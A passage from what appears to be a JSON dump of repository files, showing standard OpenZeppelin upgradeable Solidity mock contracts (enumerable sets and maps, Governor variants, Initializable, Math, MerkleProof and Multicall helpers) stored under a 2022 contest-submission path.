}\n\n    function send(\n        IERC777Upgradeable token,\n        address to,\n        uint256 amount,\n        bytes memory data\n    ) public {\n        // This is 777's send function, not the Solidity send function\n        token.send(to, amount, data); // solhint-disable-line check-send-result\n    }\n\n    function burn(\n        IERC777Upgradeable token,\n        uint256 amount,\n        bytes memory data\n    ) public {\n        token.burn(amount, data);\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/EnumerableMapMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/structs/EnumerableMapUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract EnumerableMapMockUpgradeable is Initializable {\n    function __EnumerableMapMock_init() internal onlyInitializing {\n        __EnumerableMapMock_init_unchained();\n    }\n\n    function __EnumerableMapMock_init_unchained() internal onlyInitializing {\n    }\n    using EnumerableMapUpgradeable for EnumerableMapUpgradeable.UintToAddressMap;\n\n    event OperationResult(bool result);\n\n    EnumerableMapUpgradeable.UintToAddressMap private _map;\n\n    function contains(uint256 key) public view returns (bool) {\n        return _map.contains(key);\n    }\n\n    function set(uint256 key, address value) public {\n        bool result = _map.set(key, value);\n        emit OperationResult(result);\n    }\n\n    function remove(uint256 key) public {\n        bool result = _map.remove(key);\n        emit OperationResult(result);\n    }\n\n    function length() public view returns (uint256) {\n        return _map.length();\n    }\n\n    function at(uint256 index) public view returns (uint256 key, address value) {\n        return _map.at(index);\n    }\n\n    function tryGet(uint256 key) public view returns (bool, address) {\n        return _map.tryGet(key);\n    }\n\n    function get(uint256 key) public view returns (address) {\n        return _map.get(key);\n    }\n\n    function getWithMessage(uint256 key, string calldata errorMessage) public view returns (address) {\n        return _map.get(key, errorMessage);\n    }\n    uint256[47] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/EnumerableSetMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/structs/EnumerableSetUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n// Bytes32Set\ncontract EnumerableBytes32SetMockUpgradeable is Initializable {\n    function __EnumerableBytes32SetMock_init() internal onlyInitializing {\n        __EnumerableBytes32SetMock_init_unchained();\n    }\n\n    function __EnumerableBytes32SetMock_init_unchained() internal onlyInitializing {\n    }\n    using EnumerableSetUpgradeable for EnumerableSetUpgradeable.Bytes32Set;\n\n    event OperationResult(bool result);\n\n    EnumerableSetUpgradeable.Bytes32Set private _set;\n\n    function contains(bytes32 value) public view returns (bool) {\n        return _set.contains(value);\n    }\n\n    function add(bytes32 value) public {\n        bool result = _set.add(value);\n        emit OperationResult(result);\n    }\n\n    function remove(bytes32 value) public {\n        bool result = _set.remove(value);\n        emit OperationResult(result);\n    }\n\n    function length() public view returns (uint256) {\n        return _set.length();\n    }\n\n    function at(uint256 index) public view returns (bytes32) {\n        return _set.at(index);\n    }\n\n    function values() public view returns (bytes32[] memory) {\n        return _set.values();\n    }\n    uint256[48] private __gap;\n}\n\n// AddressSet\ncontract EnumerableAddressSetMockUpgradeable is Initializable {\n    function __EnumerableAddressSetMock_init() internal onlyInitializing {\n        __EnumerableAddressSetMock_init_unchained();\n    }\n\n    function __EnumerableAddressSetMock_init_unchained() internal onlyInitializing {\n    }\n    using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;\n\n    event OperationResult(bool result);\n\n    EnumerableSetUpgradeable.AddressSet private _set;\n\n    function contains(address value) public view returns (bool) {\n        return _set.contains(value);\n    }\n\n    function add(address value) public {\n        bool result = _set.add(value);\n        emit OperationResult(result);\n    }\n\n    function remove(address value) public {\n        bool result = _set.remove(value);\n        emit OperationResult(result);\n    }\n\n    function length() public view returns (uint256) {\n        return _set.length();\n    }\n\n    function at(uint256 index) public view returns (address) {\n        return _set.at(index);\n    }\n\n    function values() public view returns (address[] memory) {\n        return _set.values();\n    }\n    uint256[48] private __gap;\n}\n\n// UintSet\ncontract EnumerableUintSetMockUpgradeable is Initializable {\n    function __EnumerableUintSetMock_init() internal onlyInitializing {\n        __EnumerableUintSetMock_init_unchained();\n    }\n\n    function __EnumerableUintSetMock_init_unchained() internal onlyInitializing {\n    }\n    using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet;\n\n    event OperationResult(bool result);\n\n    EnumerableSetUpgradeable.UintSet private _set;\n\n    function contains(uint256 value) public view returns (bool) {\n        return _set.contains(value);\n    }\n\n    function add(uint256 value) public {\n        bool result = _set.add(value);\n        emit OperationResult(result);\n    }\n\n    function remove(uint256 value) public {\n        bool result = _set.remove(value);\n        emit OperationResult(result);\n    }\n\n    function length() public view returns (uint256) {\n        return _set.length();\n    }\n\n    function at(uint256 index) public view returns (uint256) {\n        return _set.at(index);\n    }\n\n    function values() public view returns (uint256[] memory) {\n        return _set.values();\n    }\n    uint256[48] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/EtherReceiverMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract EtherReceiverMockUpgradeable is Initializable {\n    function __EtherReceiverMock_init() internal onlyInitializing {\n        __EtherReceiverMock_init_unchained();\n    }\n\n    function __EtherReceiverMock_init_unchained() internal onlyInitializing {\n    }\n    bool private _acceptEther;\n\n    function setAcceptEther(bool acceptEther) public {\n        _acceptEther = acceptEther;\n    }\n\n    receive() external payable {\n        if (!_acceptEther) {\n            revert();\n        }\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/GovernorCompMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../governance/extensions/GovernorCountingSimpleUpgradeable.sol\";\nimport \"../governance/extensions/GovernorVotesCompUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract GovernorCompMockUpgradeable is Initializable, GovernorVotesCompUpgradeable, GovernorCountingSimpleUpgradeable {\n    function __GovernorCompMock_init(string memory name_, ERC20VotesCompUpgradeable token_) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __EIP712_init_unchained(name_, version());\n        __IGovernor_init_unchained();\n        __Governor_init_unchained(name_);\n        __GovernorVotesComp_init_unchained(token_);\n        __GovernorCountingSimple_init_unchained();\n        __GovernorCompMock_init_unchained(name_, token_);\n    }\n\n    function __GovernorCompMock_init_unchained(string memory name_, ERC20VotesCompUpgradeable token_) internal onlyInitializing {}\n\n    function quorum(uint256) public pure override returns (uint256) {\n        return 0;\n    }\n\n    function votingDelay() public pure override returns (uint256) {\n        return 4;\n    }\n\n    function votingPeriod() public pure override returns (uint256) {\n        return 16;\n    }\n\n    function cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) public returns (uint256 proposalId) {\n        return _cancel(targets, values, calldatas, salt);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        virtual\n        override(IGovernorUpgradeable, GovernorVotesCompUpgradeable)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/GovernorCompatibilityBravoMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../governance/compatibility/GovernorCompatibilityBravoUpgradeable.sol\";\nimport \"../governance/extensions/GovernorTimelockCompoundUpgradeable.sol\";\nimport \"../governance/extensions/GovernorSettingsUpgradeable.sol\";\nimport \"../governance/extensions/GovernorVotesCompUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract GovernorCompatibilityBravoMockUpgradeable is\n    Initializable, GovernorCompatibilityBravoUpgradeable,\n    GovernorSettingsUpgradeable,\n    GovernorTimelockCompoundUpgradeable,\n    GovernorVotesCompUpgradeable\n{\n    function __GovernorCompatibilityBravoMock_init(\n        string memory name_,\n        ERC20VotesCompUpgradeable token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        uint256 proposalThreshold_,\n        ICompoundTimelockUpgradeable timelock_\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __EIP712_init_unchained(name_, version());\n        __IGovernor_init_unchained();\n        __IGovernorTimelock_init_unchained();\n        __IGovernorCompatibilityBravo_init_unchained();\n        __Governor_init_unchained(name_);\n        __GovernorCompatibilityBravo_init_unchained();\n        __GovernorSettings_init_unchained(votingDelay_, votingPeriod_, proposalThreshold_);\n        __GovernorTimelockCompound_init_unchained(timelock_);\n        __GovernorVotesComp_init_unchained(token_);\n        __GovernorCompatibilityBravoMock_init_unchained(name_, token_, votingDelay_, votingPeriod_, proposalThreshold_, timelock_);\n    }\n\n    function __GovernorCompatibilityBravoMock_init_unchained(\n        string memory name_,\n        ERC20VotesCompUpgradeable token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        uint256 proposalThreshold_,\n        ICompoundTimelockUpgradeable timelock_\n    ) internal onlyInitializing {}\n\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        virtual\n        override(IERC165Upgradeable, GovernorUpgradeable, GovernorTimelockCompoundUpgradeable)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n\n    function quorum(uint256) public pure override returns (uint256) {\n        return 0;\n    }\n\n    function state(uint256 proposalId)\n        public\n        view\n        virtual\n        override(IGovernorUpgradeable, GovernorUpgradeable, GovernorTimelockCompoundUpgradeable)\n        returns (ProposalState)\n    {\n        return super.state(proposalId);\n    }\n\n    function proposalEta(uint256 proposalId)\n        public\n        view\n        virtual\n        override(IGovernorTimelockUpgradeable, GovernorTimelockCompoundUpgradeable)\n        returns (uint256)\n    {\n        return super.proposalEta(proposalId);\n    }\n\n    function proposalThreshold() public view override(GovernorUpgradeable, GovernorSettingsUpgradeable) returns (uint256) {\n        return super.proposalThreshold();\n    }\n\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual override(IGovernorUpgradeable, GovernorUpgradeable, GovernorCompatibilityBravoUpgradeable) returns (uint256) {\n        return super.propose(targets, values, calldatas, description);\n    }\n\n    function queue(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) public virtual override(IGovernorTimelockUpgradeable, GovernorTimelockCompoundUpgradeable) returns (uint256) {\n        return super.queue(targets, values, calldatas, salt);\n    }\n\n    function execute(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) public payable virtual override(IGovernorUpgradeable, GovernorUpgradeable) returns (uint256) {\n        return super.execute(targets, values, calldatas, salt);\n    }\n\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) {\n        super._execute(proposalId, targets, values, calldatas, descriptionHash);\n    }\n\n    /**\n     * @notice WARNING: this is for mock purposes only. Ability to the _cancel function should be restricted for live\n     * deployments.\n     */\n    function cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) public returns (uint256 proposalId) {\n        return _cancel(targets, values, calldatas, salt);\n    }\n\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) internal virtual override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) returns (uint256 proposalId) {\n        return super._cancel(targets, values, calldatas, salt);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        virtual\n        override(IGovernorUpgradeable, GovernorVotesCompUpgradeable)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function _executor() internal view virtual override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) returns (address) {\n        return super._executor();\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/GovernorMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../governance/extensions/GovernorProposalThresholdUpgradeable.sol\";\nimport \"../governance/extensions/GovernorSettingsUpgradeable.sol\";\nimport \"../governance/extensions/GovernorCountingSimpleUpgradeable.sol\";\nimport \"../governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract GovernorMockUpgradeable is\n    Initializable, GovernorProposalThresholdUpgradeable,\n    GovernorSettingsUpgradeable,\n    GovernorVotesQuorumFractionUpgradeable,\n    GovernorCountingSimpleUpgradeable\n{\n    function __GovernorMock_init(\n        string memory name_,\n        ERC20VotesUpgradeable token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        uint256 quorumNumerator_\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __EIP712_init_unchained(name_, version());\n        __IGovernor_init_unchained();\n        __Governor_init_unchained(name_);\n        __GovernorProposalThreshold_init_unchained();\n        __GovernorSettings_init_unchained(votingDelay_, votingPeriod_, 0);\n        __GovernorVotes_init_unchained(token_);\n        __GovernorVotesQuorumFraction_init_unchained(quorumNumerator_);\n        __GovernorCountingSimple_init_unchained();\n        __GovernorMock_init_unchained(name_, token_, votingDelay_, votingPeriod_, quorumNumerator_);\n    }\n\n    function __GovernorMock_init_unchained(\n        string memory name_,\n        ERC20VotesUpgradeable token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        uint256 quorumNumerator_\n    ) internal onlyInitializing {}\n\n    function cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) public returns (uint256 proposalId) {\n        return _cancel(targets, values, calldatas, salt);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        virtual\n        override(IGovernorUpgradeable, GovernorVotesUpgradeable)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function proposalThreshold() public view override(GovernorUpgradeable, GovernorSettingsUpgradeable) returns (uint256) {\n        return super.proposalThreshold();\n    }\n\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual override(GovernorUpgradeable, GovernorProposalThresholdUpgradeable) returns (uint256) {\n        return super.propose(targets, values, calldatas, description);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/GovernorTimelockCompoundMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../governance/extensions/GovernorTimelockCompoundUpgradeable.sol\";\nimport \"../governance/extensions/GovernorSettingsUpgradeable.sol\";\nimport \"../governance/extensions/GovernorCountingSimpleUpgradeable.sol\";\nimport \"../governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract GovernorTimelockCompoundMockUpgradeable is\n    Initializable, GovernorSettingsUpgradeable,\n    GovernorTimelockCompoundUpgradeable,\n    GovernorVotesQuorumFractionUpgradeable,\n    GovernorCountingSimpleUpgradeable\n{\n    function __GovernorTimelockCompoundMock_init(\n        string memory name_,\n        ERC20VotesUpgradeable token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        ICompoundTimelockUpgradeable timelock_,\n        uint256 quorumNumerator_\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __EIP712_init_unchained(name_, version());\n        __IGovernor_init_unchained();\n        __IGovernorTimelock_init_unchained();\n        __Governor_init_unchained(name_);\n        __GovernorSettings_init_unchained(votingDelay_, votingPeriod_, 0);\n        __GovernorTimelockCompound_init_unchained(timelock_);\n        __GovernorVotes_init_unchained(token_);\n        __GovernorVotesQuorumFraction_init_unchained(quorumNumerator_);\n        __GovernorCountingSimple_init_unchained();\n        __GovernorTimelockCompoundMock_init_unchained(name_, token_, votingDelay_, votingPeriod_, timelock_, quorumNumerator_);\n    }\n\n    function __GovernorTimelockCompoundMock_init_unchained(\n        string memory name_,\n        ERC20VotesUpgradeable token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        ICompoundTimelockUpgradeable timelock_,\n        uint256 quorumNumerator_\n    ) internal onlyInitializing {}\n\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        virtual\n        override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n\n    function quorum(uint256 blockNumber)\n        public\n        view\n        override(IGovernorUpgradeable, GovernorVotesQuorumFractionUpgradeable)\n        returns (uint256)\n    {\n        return super.quorum(blockNumber);\n    }\n\n    function cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) public returns (uint256 proposalId) {\n        return _cancel(targets, values, calldatas, salt);\n    }\n\n    /**\n     * Overriding nightmare\n     */\n    function state(uint256 proposalId)\n        public\n        view\n        virtual\n        override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable)\n        returns (ProposalState)\n    {\n        return super.state(proposalId);\n    }\n\n    function proposalThreshold() public view override(GovernorUpgradeable, GovernorSettingsUpgradeable) returns (uint256) {\n        return super.proposalThreshold();\n    }\n\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) {\n        super._execute(proposalId, targets, values, calldatas, descriptionHash);\n    }\n\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) internal virtual override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) returns (uint256 proposalId) {\n        return super._cancel(targets, values, calldatas, salt);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        virtual\n        override(IGovernorUpgradeable, GovernorVotesUpgradeable)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function _executor() internal view virtual override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) returns (address) {\n        return super._executor();\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/GovernorTimelockControlMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../governance/extensions/GovernorTimelockControlUpgradeable.sol\";\nimport \"../governance/extensions/GovernorSettingsUpgradeable.sol\";\nimport \"../governance/extensions/GovernorCountingSimpleUpgradeable.sol\";\nimport \"../governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract GovernorTimelockControlMockUpgradeable is\n    Initializable, GovernorSettingsUpgradeable,\n    GovernorTimelockControlUpgradeable,\n    GovernorVotesQuorumFractionUpgradeable,\n    GovernorCountingSimpleUpgradeable\n{\n    function __GovernorTimelockControlMock_init(\n        string memory name_,\n        ERC20VotesUpgradeable token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        TimelockControllerUpgradeable timelock_,\n        uint256 quorumNumerator_\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __EIP712_init_unchained(name_, version());\n        __IGovernor_init_unchained();\n        __IGovernorTimelock_init_unchained();\n        __Governor_init_unchained(name_);\n        __GovernorSettings_init_unchained(votingDelay_, votingPeriod_, 0);\n        __GovernorTimelockControl_init_unchained(timelock_);\n        __GovernorVotes_init_unchained(token_);\n        __GovernorVotesQuorumFraction_init_unchained(quorumNumerator_);\n        __GovernorCountingSimple_init_unchained();\n        __GovernorTimelockControlMock_init_unchained(name_, token_, votingDelay_, votingPeriod_, timelock_, quorumNumerator_);\n    }\n\n    function __GovernorTimelockControlMock_init_unchained(\n        string memory name_,\n        ERC20VotesUpgradeable token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        TimelockControllerUpgradeable timelock_,\n        uint256 quorumNumerator_\n    ) internal onlyInitializing {}\n\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        virtual\n        override(GovernorUpgradeable, GovernorTimelockControlUpgradeable)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n\n    function quorum(uint256 blockNumber)\n        public\n        view\n        override(IGovernorUpgradeable, GovernorVotesQuorumFractionUpgradeable)\n        returns (uint256)\n    {\n        return super.quorum(blockNumber);\n    }\n\n    function cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public returns (uint256 proposalId) {\n        return _cancel(targets, values, calldatas, descriptionHash);\n    }\n\n    /**\n     * Overriding nightmare\n     */\n    function state(uint256 proposalId)\n        public\n        view\n        virtual\n        override(GovernorUpgradeable, GovernorTimelockControlUpgradeable)\n        returns (ProposalState)\n    {\n        return super.state(proposalId);\n    }\n\n    function proposalThreshold() public view override(GovernorUpgradeable, GovernorSettingsUpgradeable) returns (uint256) {\n        return super.proposalThreshold();\n    }\n\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) {\n        super._execute(proposalId, targets, values, calldatas, descriptionHash);\n    }\n\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (uint256 proposalId) {\n        return super._cancel(targets, values, calldatas, descriptionHash);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        virtual\n        override(IGovernorUpgradeable, GovernorVotesUpgradeable)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function _executor() internal view virtual override(GovernorUpgradeable, GovernorTimelockControlUpgradeable) returns (address) {\n        return super._executor();\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/InitializableMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @title InitializableMock\n * @dev This contract is a mock to test initializable functionality\n */\ncontract InitializableMock is Initializable {\n    bool public initializerRan;\n    bool public onlyInitializingRan;\n    uint256 public x;\n\n    function initialize() public initializer {\n        initializerRan = true;\n    }\n\n    function initializeOnlyInitializing() public onlyInitializing {\n        onlyInitializingRan = true;\n    }\n\n    function initializerNested() public initializer {\n        initialize();\n    }\n\n    function onlyInitializingNested() public initializer {\n        initializeOnlyInitializing();\n    }\n\n    function initializeWithX(uint256 _x) public payable initializer {\n        x = _x;\n    }\n\n    function nonInitializable(uint256 _x) public payable {\n        x = _x;\n    }\n\n    function fail() public pure {\n        require(false, \"InitializableMock forced failure\");\n    }\n}\n\ncontract ConstructorInitializableMock is Initializable {\n    bool public initializerRan;\n    bool public onlyInitializingRan;\n\n    constructor() initializer {\n        initialize();\n        initializeOnlyInitializing();\n    }\n\n    function initialize() public initializer {\n        initializerRan = true;\n    }\n\n    function initializeOnlyInitializing() public onlyInitializing {\n        onlyInitializingRan = true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/MathMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/math/MathUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract MathMockUpgradeable is Initializable {\n    function __MathMock_init() internal onlyInitializing {\n        __MathMock_init_unchained();\n    }\n\n    function __MathMock_init_unchained() internal onlyInitializing {\n    }\n    function max(uint256 a, uint256 b) public pure returns (uint256) {\n        return MathUpgradeable.max(a, b);\n    }\n\n    function min(uint256 a, uint256 b) public pure returns (uint256) {\n        return MathUpgradeable.min(a, b);\n    }\n\n    function average(uint256 a, uint256 b) public pure returns (uint256) {\n        return MathUpgradeable.average(a, b);\n    }\n\n    function ceilDiv(uint256 a, uint256 b) public pure returns (uint256) {\n        return MathUpgradeable.ceilDiv(a, b);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/MerkleProofWrapperUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/cryptography/MerkleProofUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract MerkleProofWrapperUpgradeable is Initializable {\n    function __MerkleProofWrapper_init() internal onlyInitializing {\n        __MerkleProofWrapper_init_unchained();\n    }\n\n    function __MerkleProofWrapper_init_unchained() internal onlyInitializing {\n    }\n    function verify(\n        bytes32[] memory proof,\n        bytes32 root,\n        bytes32 leaf\n    ) public pure returns (bool) {\n        return MerkleProofUpgradeable.verify(proof, root, leaf);\n    }\n\n    function processProof(bytes32[] memory proof, bytes32 leaf) public pure returns (bytes32) {\n        return MerkleProofUpgradeable.processProof(proof, leaf);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/MulticallTestUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./MulticallTokenMockUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract MulticallTestUpgradeable is Initializable {\n    function __MulticallTest_init() internal onlyInitializing {\n        __MulticallTest_init_unchained();\n    }\n\n    function __MulticallTest_init_unchained() internal onlyInitializing {\n    }\n    function testReturnValues(\n        MulticallTokenMockUpgradeable multicallToken,\n        address[] calldata recipients,\n        uint256[] calldata amounts\n    ) external {\n        bytes[] memory calls = new bytes[](recipients.length);\n        for (uint256 i = 0; i < recipients.length; i++) {\n            calls[i] = abi.encodeWithSignature(\"transfer(address,uint256)\", recipients[i], amounts[i]);\n        }\n\n        bytes[] memory results = multicallToken.multicall(calls);\n        for (uint256 i = 0; i < results.length; i++) {\n            require(abi.decode(results[i], (bool)));\n        }\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/MulticallTokenMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/MulticallUpgradeable.sol\";\nimport \"./ERC20MockUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract MulticallTokenMockUpgradeable is Initializable, ERC20MockUpgradeable, MulticallUpgradeable {\n    function __MulticallTokenMock_init(uint256 initialBalance) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(\"MulticallToken\", \"BCT\");\n        __ERC20Mock_init_unchained(\"MulticallToken\", \"BCT\", msg.sender, initialBalance);\n        __Multicall_init_unchained();\n        __MulticallTokenMock_init_unchained(initialBalance);\n    }\n\n    function __MulticallTokenMock_init_unchained(uint256 initialBalance) internal onlyInitializing {}\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/MultipleInheritanceInitializableMocks.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../proxy/utils/Initializable.sol\";\n\n// Sample contracts showing upgradeability with multiple inheritance.\n// Child contract inherits from Father and Mother contracts, and Father extends from Gramps.\n//\n//         Human\n//       /       \\\n//      |       Gramps\n//      |         |\n//    Mother    Father\n//      |         |\n//      -- Child --\n\n/**\n * Sample base intializable contract that is a human\n */\ncontract SampleHuman is Initializable {\n    bool public isHuman;\n\n    function initialize() public initializer {\n        __SampleHuman_init();\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleHuman_init() internal onlyInitializing {\n        __SampleHuman_init_unchained();\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleHuman_init_unchained() internal onlyInitializing {\n        isHuman = true;\n    }\n}\n\n/**\n * Sample base intializable contract that defines a field mother\n */\ncontract SampleMother is Initializable, SampleHuman {\n    uint256 public mother;\n\n    function initialize(uint256 value) public virtual initializer {\n        __SampleMother_init(value);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleMother_init(uint256 value) internal onlyInitializing {\n        __SampleHuman_init();\n        __SampleMother_init_unchained(value);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleMother_init_unchained(uint256 value) internal onlyInitializing {\n        mother = value;\n    }\n}\n\n/**\n * Sample base intializable contract that defines a field 